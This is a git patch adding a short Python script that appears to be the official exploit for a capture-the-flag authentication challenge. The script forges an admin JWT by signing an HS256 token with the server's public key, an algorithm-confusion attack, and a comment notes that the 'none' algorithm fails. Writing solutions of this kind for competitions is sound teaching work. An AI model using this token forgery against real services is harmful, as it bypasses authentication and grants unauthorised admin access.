From 1120d524837bd5bf57425b787e6d64f9f368811f Mon Sep 17 00:00:00 2001 From: taoky Date: Thu, 5 Nov 2020 17:16:21 +0800 Subject: [PATCH] add simplejwt exp --- official/普通的身份认证器/src/exp/exp.py | 15 +++++++++++++++ 1 file changed, 15 insertions(+) create mode 100644 official/普通的身份认证器/src/exp/exp.py diff --git a/official/普通的身份认证器/src/exp/exp.py b/official/普通的身份认证器/src/exp/exp.py new file mode 100644 index 0000000..9cdc692 --- /dev/null +++ b/official/普通的身份认证器/src/exp/exp.py @@ -0,0 +1,15 @@ +import jwt + +PUBLIC_KEY = open("../jwt.key.pub", "r").read() + +payload = { + "sub": "admin", + "exp": 9602085613, # fill in any number you like +} + +encoded = jwt.encode(payload, PUBLIC_KEY, algorithm='HS256') + +print(encoded) + +# algorithm none is unfeasible. +# print(jwt.encode(payload, key="", algorithm='none'))